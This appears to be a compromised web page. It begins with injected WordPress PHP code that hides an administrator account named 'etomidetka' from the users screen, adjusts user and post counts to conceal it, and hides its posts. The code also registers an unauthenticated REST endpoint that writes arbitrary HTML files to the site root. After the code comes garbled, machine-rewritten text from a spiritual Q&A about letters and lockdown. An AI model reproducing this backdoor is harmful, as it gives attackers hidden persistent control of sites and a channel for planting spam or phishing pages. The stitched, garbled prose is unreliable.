//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Perhaps they actually do see myself and perhaps what they are claiming is coming from a different direction so you’re able to mine? Possibly We haven’t knew her or him? Thus i want to only speak about that and see if that may function as the circumstances, in the place of seeking to define and getting myself a lot more cluttered and you will a whole lot more perplexed plus tangled during my web. The web based I have authored, allow me to merely stand hushed to see, better can i learn something from their position in lieu of thinking I have already been misinterpreted, possibly We have misunderstood anything? That’s a valuable position to own. As well as, something which I pointed out earlier, who I’m, everything i in the morning, will be viewed owing to my deal with and you can my interest. I really don’t must prove one thing, that which is true is obvious while the facts, Really don’t need certainly to prove. Baba spends this term “zid and sid” easily in the morning persistent i quickly insist I have to show me personally, and you have to know what it’s that we are going through, but that’s merely my personal stubbornness. I don’t need confirm anything, what is genuine could well be revealed within the very own date. It’s an important concept to understand, and you may yes in the event that there has been some sort of misunderstanding the brand new a great deal more you make an effort to confirm it the greater anyone else find it since you are persistent about this. Therefore allow it to rest, it’s ok. Maybe I are after while that’s not operating, most I have to put a full stop so you’re able to it. Once i discover ways to place a complete end to they, down the road regardless of the misunderstanding is just about to getting clear.
Q – On the topic off extension I was thinking perhaps you would love so that everybody understand how to make their emails easy? Do you need me to establish to you Jayanti bhen, just how many terms and conditions, just how many traces?
We regularly print-out emails on her behalf and you will she’d faithfully stay until 11 o’clock at night training letters, not merely reading an interpretation otherwise realization but learning almost everything. And Dadi Gulzar got viewed which normally as they mutual the bungalow, and she have to have advised Baba given that Dadi didn’t state things in order to Baba. That’s the most useful reports to transmit and therefore does not get around three sentences, it doesn’t get step 3 pages, it’s just that sentence, I’m Ok. So that’s the better reports to generally share. Yes, I understand you to often you cannot state the is great, all the is ok. Post a summary and you may news will likely be really. If there’s a question, both issue becomes shed in every additional details, thereby almost any it’s, let me know what your real question is, immediately after which any kind of history it’s you think is required, which is good.
Q – And additionally pertaining to the email, there clearly was a discussion taking place in few days, some people is perception you to because the some site are not being utilized at the moment, Baba’s premise, when they feel finalized down, while there is so much rent, and folks are struggling to already been due to lockdown. What’s your take on which?